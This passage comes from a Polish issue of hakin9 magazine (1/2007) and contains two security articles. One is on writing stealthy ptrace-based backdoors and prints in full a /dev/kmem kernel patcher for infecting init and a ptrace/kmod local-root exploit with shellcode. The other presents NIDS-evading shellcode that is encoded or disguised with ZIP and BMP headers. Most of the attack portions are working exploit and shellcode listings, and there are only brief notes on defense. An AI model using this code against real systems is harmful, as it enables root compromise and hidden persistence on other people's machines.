Jak widać, mamy do dyspozycji cały
wachlarz metod stawiania furtek. Co
ważne, możesz kontrolować całą ko-
munikację procesu, a nawet dokład-
nie cały przepływ wykonania. Możesz
dodawać nowe funkcje do niego, lub
usuwać niektóre (jak funkcje logują-
ce) i możesz też wstawiać niewidzial-
ne furtki. Admini zwykle ufają swoim

daemonom, więc jeśli zainfekujesz

named, jest duża szansa, że nikt tego
nie namierzy, jeśli nie otworzysz no-

Listing 8b.

Łata na jądro umożliwiająca ptrace() na init

/* get system_call() address */

read_kmem

(

idt

+

(

0x80

<<

3

)

,

buffer

,

8

);

int80

=

(

*(

unsigned

short

*)(

buffer

+

6

)

<<

16

)

+

*(

unsigned

short

*)(

buffer

);

/* get system_call_table address */

read_kmem

(

int80

,

buffer

,

BUFSIZE

);

if

(

!

(

p

=

memmem

(

buffer

,

BUFSIZE

,

"

\x

FF

\x

14

\x

85"

,

3

)

)

)

{

fprintf

(

stderr

,

"fatal: can't locate sys_call_table

\n

"

);

return

(

18

);

}

sct

=

*(

int

*)(

p

+

3

);

printf

(

" . sct @ 0x%08X

\n

"

,

sct

);

/* get sys_ptrace() address and patch it */

read_kmem

(

(

off_t

)

(

p

+

3

-

buffer

+

syscall

)

,

buffer

,

4

);

read_kmem

(

sct

+

__NR_ptrace

*

4

,

(

void

*)

&

ptrace

,

4

);

read_kmem

(

ptrace

,

buffer

,

BUFSIZE

);

if

(

(

p

=

memmem

(

buffer

,

BUFSIZE

,

"

\x

83

\x

FE

\x

10"

,

3

)

)

)

{

p

-=

7

;

c

=

*

p

^

1

;

kmode

=

*

p

&

1

;

gcc_ver

=

GCC_295

;

}

else

{

if

(

(

p

=

memmem

(

buffer

,

BUFSIZE

,

"

\x

83

\x

FB

\x

10"

,

3

)

)

)

{

p

-=

2

;

c

=

*

p

^

4

;

kmode

=

*

p

&

4

;

gcc_ver

=

GCC_3XX

;

}

else

{

fprintf

(

stderr

,

"fatal: can't find patch 1 address

\n

"

);

return

(

19

);

}

}

write_kmem

(

p

-

buffer

+

ptrace

,

&

c

,

1

);

printf

(

" . kp1 @ 0x%08X

\n

"

,

p

-

buffer

+

ptrace

);

/* get ptrace_attach() address and patch it */

if

(

gcc_ver

==

GCC_3XX

)

{

p

+=

5

;

ptrace

+=

*(

int

*)(

p

+

2

)

+

p

+

6

-

buffer

;

read_kmem

(

ptrace

,

buffer

,

BUFSIZE

);

p

=

buffer

;

}

if

(

!

(

p

=

memchr

(

p

,

0xE8

,

24

)

)

)

{

fprintf

(

stderr

,

"fatal: can't locate ptrace_attach

\n

"

);

return

(

20

);

}

ptrace

+=

*(

int

*)(

p

+

1

)

+

p

+

5

-

buffer

;

read_kmem

(

ptrace

,

buffer

,

BUFSIZE

);

if

(

!

(

p

=

memmem

(

buffer

,

BUFSIZE

,

"

\x

83

\x

79

\x

7C"

,

3

)

)

)

{

fprintf

(

stderr

,

"fatal: can't find patch 2 address

\n

"

);

return

(

21

);

}

c

=

(

!

kmode

);

write_kmem

(

p

+

3

-

buffer

+

ptrace

,

&

c

,

1

);

background image

Pisanie własnych furtek

wego portu. Po prostu pozostawimy
powłokę na naszym terminalu, żeby
zapobiec łatwemu wykryciu. Zresztą,
później będzie o tym więcej.

Objaśnienia

do różnych furtek

Mamy do dyspozycji wiele możliwych
furtek, ale chyba nie znasz chyba
wszystkich? Zagłębmy się w szczegó-
ły. Pokażę parę zrzutów ekranu róż-
nych pasożytów w akcji i wyjaśnię, o
co tam chodzi, żeby przedstawić lep-
szy obraz tego, co się tam dzieje.

Infekcja procesu init

za pomocą /dev/kmem

Zwykle nie możesz się podłączyć
do procesu init przez

ptrace()

. Jed-

nak odpowiednim trikiem możemy
proces init uczynić możliwym do
śledzenia i w ten sposób zainfeko-
wać go pasożytem. Rzućmy okiem
na wywołanie systemowe

ptrace()

(

sys _ ptrace

), znajdujące się w arch/

i386/kernel/ptrace.c:

ret = -EPERM;
if (pid == 1)
/* you may not mess with init */
goto out_tsk;
if (request == PTRACE_ATTACH)
{

Figure 2.

Infekowanie procesu

Figure 3.

Testowanie infekcji

Listing 8c.

Łata na jądro umożliwiająca ptrace() na init

printf

(

" . kp2 @ 0x%08X

\n

"

,

p

+

3

-

buffer

+

ptrace

);

/* success */

if

(

c

)

printf

(

" - kernel unpatched

\n

"

);

else

printf

(

" + kernel patched

\n

"

);

close

(

kmem_fd

);

return

(

0

);

}

R

E

K

L

A

M

A

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

22

ret = ptrace_attach(child);
goto out_tsk;
}

Christophe Devine napisał mały pro-
gram, który jest rozprowadzany na li-
cencji publicznej GNU, do załatania
jądra w czasie wykonywania, żeby
można było śledzić init. Załączam
ten kod (patrz Listingi 8). Teraz po
załataniu tą metodą

/dev/kmem

, moż-

na zainfekować proces init. Jednak
po zainfekowaniu, init nie będzie się
już znajdował na szczycie procesu
i przez to może ujawnić, że system
został naruszony.

Snifer do read()

Wystarczy teorii, skupmy się teraz
na konstrukcji sniffera read(). Po
prostu wstrzykniemy instrukcje pa-
sożyta w segment kodu, nadpisując
tym samym globalny offset funkcji
read() tak, aby wskazywała na nasz
kod. Jego wykonanie będzie imito-
wało funkcję read() z uzupełnieniem
o logowanie wszystkiego do określo-
nego pliku. Kod jest wart więcej niż
słowa, więc zacznijmy. Na początek
spójrzmy na nasz kod zastępczy: (Li-
sting 6)

Istotną rzeczą, którą w tym miej-

scu trzeba odnotować, pozwalającą
uniknąć męczącej sesji z debuge-
rem, jest to, iż różne wersje gcc trak-
tują wywołanie

inline asm()

inaczej.

W związku z tym, nawet jeśli powyż-
sze wywołanie działa na niektórych
wersjach gcc, na nowszych już nie-
koniecznie. Aby temu zaradzić po-
stąpimy tak jak w pierwszym przyto-
czonym przykładzie:

asm("movl $1, %eax\n"
"movl $123, %ebx\n"
"int $0x80\n");

Nasz kod zastępczy jest gotowy.
To podstawa naszej furtki, paso-
żyt. Przejdźmy teraz do potrzebnych
funkcji. Komentarze prezentuję po-
wyżej funkcji:

Furtka przez dup2()

No cóż, ta furtka jest całkiem nie-
widzialna i netstat jej nie pokazu-
je. Oczywiście nie korzystamy z

Listing 9a.

Linux kernel ptrace()/kmod local root exploit

#include

<grp.h>

#include

<stdio.h>

#include

<fcntl.h>

#include

<errno.h>

#include

<paths.h>

#include

<string.h>

#include

<stdlib.h>

#include

<signal.h>

#include

<unistd.h>

#include

<sys/wait.h>

#include

<sys/stat.h>

#include

<sys/param.h>

#include

<sys/types.h>

#include

<sys/ptrace.h>

#include

<sys/socket.h>

#include

<linux/user.h>

char

cliphcode

[]

=

"

\x

90

\x

90

\x

eb

\x

1f

\x

b8

\x

b6

\x

00

\x

00"

"

\x

00

\x

5b

\x

31

\x

c9

\x

89

\x

ca

\x

cd

\x

80"

"

\x

b8

\x

0f

\x

00

\x

00

\x

00

\x

b9

\x

ed

\x

0d"

"

\x

00

\x

00

\x

cd

\x

80

\x

89

\x

d0

\x

89

\x

d3"

"

\x

40

\x

cd

\x

80

\x

e8

\x

dc

\x

ff

\x

ff

\x

ff"

;

#define CODE_SIZE (sizeof(cliphcode) - 1)

pid_t

parent

=

1

;

pid_t

child

=

1

;

pid_t

victim

=

1

;

volatile

int

gotchild

=

0

;

void

fatal

(

char

*

msg

)

{

perror

(

msg

);

kill

(

parent

,

SIGKILL

);

kill

(

child

,

SIGKILL

);

kill

(

victim

,

SIGKILL

);

}

void

putcode

(

unsigned

long

*

dst

)

{

char

buf

[

MAXPATHLEN

+

CODE_SIZE

];

unsigned

long

*

src

;

int

i

,

len

;

memcpy

(

buf

,

cliphcode

,

CODE_SIZE

);

len

=

readlink

(

"/proc/self/exe"

,

buf

+

CODE_SIZE

,

MAXPATHLEN

-

1

);

if

(

len

==

-

1

)

fatal

(

"[-] Unable to read /proc/self/exe"

);

len

+=

CODE_SIZE

+

1

;

buf

[

len

]

=

'

\0

'

;

src

=

(

unsigned

long

*)

buf

;

for

(

i

=

0

;

i

<

len

;

i

+=

4

)

if

(

ptrace

(

PTRACE_POKETEXT

,

victim

,

dst

++

,

*

src

++)

==

-

1

)

fatal

(

"[-] Unable to write shellcode"

);

}

void

sigchld

(

int

signo

)

{

struct

user_regs_struct

regs

;

if

(

gotchild

++

==

0

)

return

;

fprintf

(

stderr

,

"[+] Signal caught

\n

"

);

if

(

ptrace

(

PTRACE_GETREGS

,

victim

,

NULL

,

&

regs

)

==

-

1

)

fatal

(

"[-] Unable to read registers"

);

fprintf

(

stderr

,

"[+] Shellcode placed at 0x%08lx

\n

"

,

regs

.

eip

);

putcode

((

unsigned

long

*)

regs

.

eip

);

fprintf

(

stderr

,

"[+] Now wait for suid shell...

\n

"

);

if

(

ptrace

(

PTRACE_DETACH

,

victim

,

0

,

0

)

==

-

1

)

fatal

(

"[-] Unable to detach from victim"

);

exit

(

0

);

background image

Pisanie własnych furtek

hakin9 Nr 1/2007

www.hakin9.org

23

Listing 9b.

Eksploit na lokalnego roota do ptrace()/kmod jądra Linuksa

}

void

sigalrm

(

int

signo

)

{

errno

=

ECANCELED

;

fatal

(

"[-] Fatal error"

);

}

void

do_child

(

void

)

{

int

err

;

child

=

getpid

();

victim

=

child

+

1

;

signal

(

SIGCHLD

,

sigchld

);

do

err

=

ptrace

(

PTRACE_ATTACH

,

victim

,

0

,

0

);

while

(

err

==

-

1

&&

errno

==

ESRCH

);

if

(

err

==

-

1

)

fatal

(

"[-] Unable to attach"

);

fprintf

(

stderr

,

"[+] Attached to %d

\n

"

,

victim

);

while

(!

gotchild

)

;

if

(

ptrace

(

PTRACE_SYSCALL

,

victim

,

0

,

0

)

==

-

1

)

fatal

(

"[-] Unable to setup syscall trace"

);

fprintf

(

stderr

,

"[+] Waiting for signal

\n

"

);

for

(;;);

}

void

do_parent

(

char

*

progname

)

{

struct

stat

st

;

int

err

;

errno

=

0

;

socket

(

AF_SECURITY

,

SOCK_STREAM

,

1

);

do

{

err

=

stat

(

progname

,

&

st

);

}

while

(

err

==

0

&&

(

st

.

st_mode

&

S_ISUID

)

!=

S_ISUID

);

if

(

err

==

-

1

)

fatal

(

"[-] Unable to stat myself"

);

alarm

(

0

);

system

(

progname

);

}

void

prepare

(

void

)

{

if

(

geteuid

()

==

0

)

{

initgroups

(

"root"

,

0

);

setgid

(

0

);

setuid

(

0

);

execl

(

_PATH_BSHELL

,

_PATH_BSHELL

,

NULL

);

fatal

(

"[-] Unable to spawn shell"

);

}

}

int

main

(

int

argc

,

char

**

argv

)

{

prepare

();

signal

(

SIGALRM

,

sigalrm

);

alarm

(

10

);

parent

=

getpid

();

child

=

fork

();

victim

=

child

+

1

;

if

(

child

==

-

1

)

fatal

(

"[-] Unable to fork"

);

if

(

child

==

0

)

do_child

();

else

do_parent

(

argv

[

0

]);

return

0

;

}

gniazd, w związku z czym musimy
napisać własną implementacje po-
włoki. Trzeba przy tym pamiętać,
w jaki sposób działa powłoka wią-
żąca. Duplikuje (używając

dup2

) de-

skryptory,

stdout/in/err

by podpiąć

je pod gniazdko tak, aby nasza po-
włoka pokazała się po właściwej
stronie, a nie na serwerze. Nasz
kod nie używa gniazd, w związku z
czym jest niewidzialny dla zwykłe-
go admina. Wstrzykiwany kod może
uzyskać dostęp do wszystkich da-
nych procesu, w tym deskryptorów.
Gdy łączymy się ze zdalną usługą,
wywoływany jest

fork()

a następ-

nie

accept()

, więc alokowane są no-

we deskryptory, do których chcemy
uzyskać dostęp.

Jest kilka na to sposobów: l mo-

żemy nadpisać

accept()

naszą wła-

sną implementacją, która zapisze
zwracane wartości do jakiegoś pliku,
z którego będzie można je odczytać.
Jest to lepsze niż poprzednio, lecz
nie idealne wyście.

l możemy użyć

procfs

, informa-

cja o stanie używanych deskrypto-
rów jest w

/proc/ _ pid _ /fd.

Po pro-

stu wygrepuj ostatni deskryptor. Ten
wariant nie jest jednak w pełni zado-
walający, gdyż jego realizacja zajmie
z byt dużo miejsca. Również

procfs

może być niedostępny w niektórych
systemach.

l metoda

dup2

. Nie zajmuje do-

datkowego miejsca, lecz praw-
dopodobnie nie jest uniwersalna.
Zwykle proces ma stałą ilość uży-
wanych deskryptorów i możemy
je wykryć używając strace. Ma-
ły przykład z Netstat: $nc -lp 1111.
czytamy pid, a następnie wykonu-
jemy strace -p. Z kolei po komen-
dzie telnet localhost 1111 odczytu-
jemy zwracaną wartość z accept(),
która z reguły jest 3 bądź 4 w więk-
szości przypadków.

Połączenie zwrotne

Zwykle chcemy odpalić powłokę
wiążącą, lecz co zrobić w sytuacji,
gdy firewall blokuje port? Rozwiąza-
niem jest połączenie wychodzące.
Z reguły wszystkie tego typu połą-
czenia są dozwolone, lecz czasami
istnieje ograniczenie do kilku do-

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

24

zwolonych portów. W tym wypad-
ku można sprawdzić DNS (port
53), WWW (port 80) lub FTP (port
21) itd. Ostatnim pozostającym ele-
mentem będzie stworzenie kodu
zastępczego do połączenia zwrot-
nego, a przy technikach, które by-
ły prezentowane nie powinno sta-
nowić to problemu. Na początek
sugeruję użyć stałej wartości dla
adresu IP takiej jak #define CB_IP
127.0.0.1 a następnie po prostu wy-
konać

connect()

i odpalić

/bin/sh

-i.

Przykład z życia

Po całej tej teorii przyszedł czas na
jakiś rzeczywisty działający kod, zga-
dza się? No to do roboty. Na sche-
macie 1 widać ściąganie wstrzykiwa-
cza

ptrace()

, zwanego malaria, do-

stępnego w internecie.

Odpalmy Netcat w tle. Będzie

stanowił on nasz cel, który staramy
się zainfekować. Schemat 2 pokazu-
je sposób infekcji procesu.

Teraz, gdy nasz kod powłoko-

wy jest wczytany do pamięci, może-
my dostrzec na ostatnim ekranie no-
wy nasłuchujący port TCP. Gdy się
z nim połączymy uzyskamy powło-
kę roota!

Był to przykład prostego wstrzy-

kiwacza z Internetu. Istnieją jednak
bardziej zaawansowane wersje ła-
twe do znalezienia, wiec jeśli chcesz
znaleźć i przetestować coś więcej,
sugeruję przeszukanie Google’a.

Ochrona

przed tego typu atakami

Zanim zaprezentujemy sposób
ochrony przed tego typu ataka-
mi, najpierw musimy zapoznać się
ze sposobem detekcji tego typu in-
fekcji. Najlepszym na to sposobem
jest porównanie adresów z Global-
nej Tablicy Przesunięć. Można rów-
nież napisać lkm, które limituje wy-
konanie

ptrace()

do root-a, gdyż jeśli

atakujący posiada juz prawa root-a,
nie ma się już co martwić o to, jakiej
furtki używa, ale można się dowie-
dzieć, jak uzyskał do niej dostęp, a
następnie czeka cię reinstalacja. Ta-
kie lkm-y istnieją od lat i nie powinno
być trudno je znaleźć.

Dodatek

2.4.x kernel patcher pozwala na
ptrace-owanie w procesie init (Co-
pyright (c) 2003 Christophe Devine

devine@iie.cnam.fr). Jest to dar-
mowy program, który możesz re-
dystrybuować i modyfikować w ra-
mach licencji GNU (General Public
License) opublikowanej przez Free
Software Fundation w wersji dru-
giej lub późniejszej. Program ten
jest użyteczny, lecz nie daje żad-
nych gwarancji, w tym gwarancji
handlowej, ani sprawdzania się w
określonym zastosowaniu. Odsyła-
my do GNU General Public Licen-
se po więcej szczegółów. Powinie-
neś otrzymać kopię GNU General
Public License wraz z tym progra-
mem, jeśli nie, możesz napisać do
Free Software Fundation, Inc., 59
Temple Place, Suite 330, Boston,
MA 02111-1307 USA.

Eksploit na lokalnego roota do

ptrace()/kmod

jądra Linuksa. Ten

kod wykorzystuje sytuację wyści-
gu w

kernel/kmod.c

, który tworzy

wątek w sposób narażający bez-
pieczeństwo. Ta dziura pozwala na

ptrace()

w sklonowanym procesie,

dając możliwość uzyskania kontro-
li nad uprzywilejowanym plikiem bi-
narnym modprobe. Powinno dzia-
łać pod każdym jądrem 2.2.x i 2.4.x.
Odkryłem ten głupi błąd niezależnie
25 stycznia 2003, tzn. (prawie) dwa
miesiące przed poprawką i jej opubli-
kowaniem przez Red Hata i innych.
Wojciech Purczyński cliph@isec.pl.

TEN PROGRAM JEST WYŁĄCZ-

NIE DO CELÓW EDUKACYJNYCH

I JEST DOSTARCZONY W TAKIEJ

POSTACI BEZ ŻADNEJ GWARAN-

CJI ((c) 2003 Copyright by iSEC Se-
curity Research).

Podsumowanie

No dobrze, nauczyliśmy się niezłych
sposobów na manipulowanie cho-
dzącymi programami w pamięci. Da-
je nam to wiele możliwości zmienia-
nia przepływu wykonania w taki spo-
sób, że możemy całkowicie kontrolo-
wać program.

Załóżmy, że mamy Daemona

O Zamkniętych Źródłach, który nie
ma wystarczających elementów lo-
gujących, a plik z logiem jest mocno
uproszczony, ale my chcemy więcej
informacji! Normalnie to trzeba by
z tym żyć, albo zażądać poprawek
od dostawcy. Teraz możesz sobie to
sam uprościć!

Piszesz drobny wstrzykiwacz

ptrace()

, który zamienia funkcje lo-

gujące na twoje, albo po prostu lo-
gujesz wszystko poprzez podpina-
nie się pod

read()/write()

czy po-

dobnych.

Zwykle ta wiedza jest wykorzy-

stywana przez testery penetracji z
powłoką z wstrzykiwaczem

ptrace()

do włamania się na chroot, albo ha-
kerów do furtkowania binariów, ale ta
wiedza daje ci też większą elastycz-
ność w pracy administratorskiej przy
pracy z oprogramowaniem zamknię-
tym. l

O autorze

Autor jest zaangażowany w działkę bezpieczeństwa IT od ponad 10 lat i pracował jako
administrator bezpieczeństwa i inżynier oprogramowania. Od 2004 roku jest CEO w
firmie GroundZero Security Research w Niemczech. Wciąż pisze kody eksploitów dla
Proof of concept, aktywnie bada sprawy związane z bezpieczeństwem i wykonuje te-
sty penetracji. Kontakt z autorem: stefan.klaas@gmx.net

W Sieci

http://publib16.boulder.ibm.com/pseries/en_US/libs/basetrf1/ptrace.htm - techni-

cal Reference: Base Operating System and Extensions, Volume 1,

http://www.phrack.com/phrack/59/p59-0x0c.txt – budowanie kodu powłokowego

wstrzykującego przez

ptrace()

,

http://www.die.net/doc/linux/man/man2/ptrace.2.html – man 2

ptrace()

.

background image
background image

www.hakin9.org

hakin9 Nr 1/2007

26

Atak

N

ajbardziej powszechne i popularne ko-
dy powłoki działają na bazie dostępu do
linii poleceń systemu, który jest celem

ataku – stąd zresztą wzięła się nazwa tej tech-
niki. Powłoka to program, który daje dostęp do
serwisów udostępnianych przez jadra systemu.
Przykładami powłoki mogą być CMD.EXE (dla
systemów z rodziny Windows) bądź /bin/bash
(dla systemów z rodziny Linux, UNIX). Kody po-
włoki próbują uruchomić właśnie te aplikacje.
Zagrożenie powiązane z kodem powłoki jest
bardzo duże, jako że kod taki będzie wywoła-
ny z takimi samymi przywilejami jak wykorzy-
stany przez niego proces – mogą być to zarów-
no przywileje użytkownika jak i administratora.
Mają te ostatnie, kod powłoki ma moc do prze-
prowadzenia niemalże każdej operacji w syste-
mie, a na dodatek może zrobić to w niewidocz-
ny sposób, jako że jego poczynania będą ma-
skowane przez eksploatowny proces.

Istnieje duża różnorodność rozwiązań

stworzonych w celu zapobiegania kodów
powłoki w systemach. Może to być zarów-
no instalacja dedykowanych systemów detek-
cji i usuwania intruzów jak i różnego rodzaju
czynności prewencyjne narzucone przez ad-
ministratora systemu. Z punktu widzenia ata-

kującego są to pewne przeszkody. W niniej-
szym artykule przedstawię koncepcje na któ-
rych bazuje część ze wspomnianych rozwią-
zań wskazując przy okazji na ich słabe strony.
Pokażę również przykład rzeczywistego kodu
powłoki, który wykorzystuje słabe punkty w
celu ominięcia systemu zabezpieczeń. Mimo
tego, iż prezentowane kody powłoki zostały

Schellcody

nowej genaracji

Itzik Kotler

stopień trudności

Kod powłoki jest fragmentem kodu maszynowego, który

wykorzystuje się jako ładunek przy atakach bazujących na

wykorzystaniu błędów softwarowych. Wykorzystywanie słabych

punktów w rodzaju przepełnienia bufora przydzielonego na stosie

lub stercie lub stringów formatujących wymagają kodu powłoki. Kod

ten będzie wykonany jeśli proces wykorzystania luki się powiedzie.

Z artykułu dowiesz...

• jakie przeszkody spotyka napastnik próbujący

uruchomić kod powłoki na systemie będącym
celem ataku oraz jak wyglądają sposoby obej-
ścia tych przeszkód,

• jak projektować i implementować bardziej

sprytne kody powłoki.

Powinieneś wiedzieć...

• podstawy Assemblera x86 dla platformy Linux,
• podstawowe informacje na temat technik ata-

ków bazujących na przepełnieniu bufora przy-
dzielonego na stosie lub na stercie, oraz ata-
ków wykonywanych przy pomocy napisów for-
matujących.

background image

Ewolucja shellcodów

hakin9 Nr 1/2007

www.hakin9.org

27

zaprojektowane dla systemów Linux
działających w architekturze x86 to
część koncepcji na których one ba-
zują można uznać za przenośnie i
wykorzystać na innych platformach.

Ewolucja kontra

diagnozowanie

„po kablu”

Metoda diagnozowania „po kablu”
(ang. Wire diagnose) jest często
implementowana w ramach syste-
mów klasy IDS (ang. Intrusion Detec-

tion Systems) oraz IPS (ang. Intru-

sion Prevention Systems). Rozwią-
zania te różnią się przede wszystkim
rodzajem zakresami kontroli. Pierw-
sze skupiają się na warstwie komuni-
kacyjnej próbując wyłapać tu wszel-
kie rodzaje podejrzanych pakie-
tów w Sieci, które przebrnęły przez
klasyczną zaporę systemu; drugie
monitorują system na poziomie hosta,
próbując wyłapać tu wszelkie rodzaje
złośliwych zachowań.

Metoda diagnozowania „po ka-

blu” jest jedną z właściwości NIDS
(systemu detekcji intruzów) i pole-
ga na rozpoznawaniu i klasyfikacji
pakietów nadchodzących z Sieci
zanim dotrą one do swoich punk-
tów przeznaczenia. W przypadku
rozpoznania potencjalnego niebez-
pieczeństwa system podnosi alarm.
Podobnie jak programy antywiruso-
we, NIDS posiada bazę danych pod-
pisów i wzorców, które związane są
z próbami włamań do systemów.
Baza taka składa się zazwyczaj
z listy najczęściej używanych baj-
tów, lub sekwencji bajtów pojawiają-
cych się w kodach powłoki.

Siła tej metody zależy z jednej

strony od jakości informacji składo-
wanych w bazie, zaś z drugiej – od
tego na ile „typowa” jest struktura ko-
du powłoki, który próbuje włamać się
do systemu. Ponieważ z punktu wi-
dzenia napastnika baza reguł NIDS
jest niedostępna, dlatego jedynym
sposobem na obejście tej przeszko-
dy jest zmiana struktury kodu powło-
ki; zjawisko to zwane jest polimorfi-
zmem.

Innym słabym punktem tej me-

tody są warstwy bezpiecznego
przesyłania danych w Sieci. Pro-

Listing 1.

Zaszyfrowane kody powłoki składają się z dwóch części

#
#

(

linux

/

x86

)

execve

(

"/bin/sh"

,

[

"/bin/sh"

]

,

NULL

)

/

zakodowane

przez

+

1

-

39

bajt

ó

w

# - izik@tty64.org
#
.

section

.

text

.

global

_start

_start

:

#
# Zakodowany ładunek

(

drugi

kod

pow

ł

oki

)

#

pushl

$

0x81cee28a

pushl

$

0x54530cb1

pushl

$

0xe48a6f6a

pushl

$

0x63306901

pushl

$

0x69743069

pushl

$

0x14

popl

%

ecx

#
# Pętla dekodująca
#

_unpack_loop

:

decb

(%

esp

,

%

ecx

,

1

)

decl

%

ecx

jns

_unpack_loop

incl

%

ecx

mul

%

ecx

#
# Skocz do

zdekodowanego

kodu

pow

ł

oki

#

push

%

esp

ret

Listing 2.

Kod powłoki rozpoczyna się serią instrukcji PUSH

#
# Zakodowany ładunek

(

drugi

kod

pow

ł

oki

)

#

pushl

$

0x81cee28a

pushl

$

0x54530cb1

pushl

$

0xe48a6f6a

pushl

$

0x63306901

pushl

$

0x69743069

Listing 3.

Skok pętli do ładunku umieszczonego na stosie

#
# Pętla dekodująca
#

_unpack_loop

:

decb

(%

esp

,

%

ecx

,

1

)

decl

%

ecx

jns

_unpack_loop

incl

%

ecx

mul

%

ecx

#
# Jump to the decoded shellcode
#

push

%

esp

ret

background image

hakin9 Nr 1/2007

www.hakin9.org

Atak

28

tokoły typu SSL czy VPN (IPSec)
są wykorzystywane w celu tzw. tu-
nelowania, które omija NIDS, jako
że przekazywane dane są szyfro-
wane i deszyfrowane w końcowych
punktach połączenia. W tej sytuacji
NIDS nie jest w stanie zdekodować
przychodzących danych i baza re-
guł staje się bezużyteczna.

CJO0TI = /BIN/SH

Szyfrowanie kodu powłoki to pod-
stawowy mechanizm prowadzą-
cy do uzyskania polimorfizmu. Pro-
ces ten pozwala bezkarnie wykorzy-
stywać „oznaczone” bajty i sekwen-
cje nie martwiąc się o to, ze zostaną
one przechwycone po stronie NIDS.
Istnieje cała gama metod szyfrowa-
nia, przy czym większość z nich ba-
zuje na funkcjach matematycznych
lub bramkach logicznych. Szyfrowa-
nie kodu powłoki może również po-
legać na tworzeniu luk w strumieniu
danych, który przechodzi przez sieć
– luki te są usuwane przed wywoła-
niem kodu w docelowym systemie.

Polimorfizm kodów powłoki

można zauważyć również w przy-
padku kiedy próba ataku opiera
się o protokół wymagający ograni-
czonego zestawu znaków. Na przy-
kład protokoły działające w oparciu
o dane tekstowe automatycznie od-
rzucają jakiekolwiek dane binarne.
W takim przypadku kody powłoki są
reprezentowane w postaci alfanu-
merycznej.

Zaszyfrowane kody powłoki skła-

dają się z dwóch części: zakodowa-
nego ładunku oraz dekodera, który
deszyfruje pierwszą część i na końcu
wykonuje do niej skok. (Listing 1)

Przedstawiony w Listingu 1. kod

powłoki w momencie wywołania ma
postać execve("/bin/sh"). Jednakże
w postaci zakodowanej wygląda zu-
pełnie inaczej.

Kod powłoki rozpoczyna się serią

instrukcji PUSH. Przy każdym wywo-
łaniu tej instrukcji na stos wrzucane są
4 bajty zaszyfrowanego ładunku. Stos
jest idealnym miejscem gdzie można
rozpakować niewielką ilość danych i
na dodatek (domyślnie) posiada ze-
zwolenie na czytanie, pisanie i co naj-
bardziej istotne – wykonywanie ko-

du który się aktualnie na nim znajdu-
je.(Listing 2). W dalszej kolejności ma-
my kod dekodera. Szyfrowanie w tym
przypadku jest prostą grą inkrementa-
cji i dekrementacji. Dekoder jest zło-
żony z pętli, która czyta bajt po baj-
cie dane wrzucone na stos i wykonuje
na nich operację odejmowania w ce-
lu przywrócenie oryginalnej wartości.
Po zakończeniu pętli kod powłoki wy-
konuje skok do ładunku umieszczone-
go na stosie (Listing 3.).

Oczywiste jest, że im łatwiejsza

metoda dekodowania tym mniejszy
będzie dekoder. Podejście to ma
jeszcze jedną zaletę – pozwala uży-
wać zabronionych bajtów – chociaż-
by takich jak

NULL

.

NULL

z racji tego,

że jest stosowany jako znacznik koń-
ca napisu, nie powinien być używa-
ny w ciele kodu powłoki (kod taki, w
przypadku ataków polegających na
wykorzystaniu stringów mógłby być
przedwcześnie obcięty).

Jednak przy zastosowaniu szy-

frowania problem znika – podatna
na atak funkcja (np.

strcpy()

) nigdy

nie przetworzy wartości

NULL

, gdyż

jest ona zakodowana.

Pomimo tego, że szyfrowanie

zmienia wygląd zewnętrzny kodu po-
włoki, warto zauważyć iż wynikowa
postać nie zawsze musi być odpor-
na na metodę diagnozowania „po ka-
blu”. Problem w tym, że wielokrotne
wykorzystanie tego samego sche-
matu szyfrowania może sprawić, że
odpowiedzialny za to kod będzie za-
rejestrowany jako wzorzec i umiesz-

Listing 4.

Kod powłoki

#
#

x86

/

linux

execve

(

"/bin/

sh"

,

[

"/bin/sh"

,

NULL

])

+

Nag

łó

wek

ZIP

-

28

bajt

ó

w

# - izik@tty64.org
#
.

section

.

text

.

global

_start

_start

:

#
# PK[\03\04], Nagłówek

archiwum

danych

PK

[

Zip

]

(

5

bajt

ó

w

)

#
.

byte

0x50

.

byte

0x4b

.

byte

0x03

.

byte

0x04

.

byte

0x24

#
#

execve

(

"/bin/sh"

,

[

"/bin/sh"

,

NULL

]);

#

push

$

0xb

popl

%

eax

cdq

push

%

edx

push

$

0x68732f2f

push

$

0x6e69622f

mov

%

esp

,

%

ebx

push

%

edx

push

%

ebx

mov

%

esp

,

%

ecx

int

$

0x80

Listing 5a.

Formaty

#

#

x86

/

linux

execve

(

"/bin/sh"

,

[

"/bin/sh"

,

NULL

])

+

Nag

łó

wek

24

-

bitowej

Bitmapy

-

23

bajty

# - izik@tty64.org
#
.

section

.

text

.

global

_start

_start

:

#
# Nagłówek 24-bitowej Bitmapy
#
.

byte

0x42

.

byte

0x4D

.

byte

0x36

.

byte

0x91


#
#

execve

(

"/bin/sh"

,

[

"/

bin/sh"

,

NULL

]);

#

push

$

0xb

popl

%

eax

cdq

push

%

edx

push

$

0x68732f2f

O autorze:

Itzik Kotler jest badaczem zajmującym
się problemami bezpieczeństwa w sys-
temach informatycznych, oraz założy-
cielem projektu TTY64. Wspomniany
projekt skupia się na promowaniu tech-
nik programowania zorientowanych na
bezpieczeństwo, a także na wszelkich
aspektach powiązanych z tym tema-
tem. Na stronie domowej projektu moż-
na znaleźć wiele ciekawych informacji
i zasobów powiązanych z tematem
(między innymi przykładowe fragmen-
ty kodu).
Kontakt z autorem: izik@tty64.org

background image

Ewolucja shellcodów

hakin9 Nr 1/2007

www.hakin9.org

29

czony w bazie danych. Aby uzyskać
w miarę niezawodne rozwiązanie na-
leżałoby ciągle modyfikować zarów-
no samą formułę kodu powłoki jak i
metodę szyfrowania tej formuły.

Ja jestem ZIP,

a kim jesteś Ty?

Częstym sposobem na rozróżnienie
dwóch różnych formatów danych jest
próba odczytania pewnych znaczni-
ków. Dla przykładu – do poszczegól-
nych formatów często przypisuje się
konkretne rozszerzenia plików, i co
więcej – lwia część formatów danych
posiada nagłówki opatrzone „ma-
gicznymi” numerami bądź bajtami.
Bajty te są często przydatne kiedy
aplikacja próbuje zweryfikować czy
nadchodzący strumień danych ma w
pożądany format.

Wstawianie do kodu powłoki „ma-

gicznych” bajtów powiązanych z po-
wszechnie rozpoznawanymi forma-
tami plików może być bardzo pomoc-
ne przy oszukiwaniu narzędzi moni-
torujących ruch w Sieci. Szczególnie
w przypadkach prób włamania się do
systemu poprzez takie standardowe
kanały jak poczta elektroniczna czy
zawartość stron webowych, bardzo
ważne jest to aby kod powłoki otrzy-
mał fałszywą „osobowość”. Dla przy-
kładu, kod powłoki, który przedsta-
wia się jako ZIP ma dużą szansę
ogłupić system wykrywania intruzów
i osiągnąć swój cel (Listing 4.).

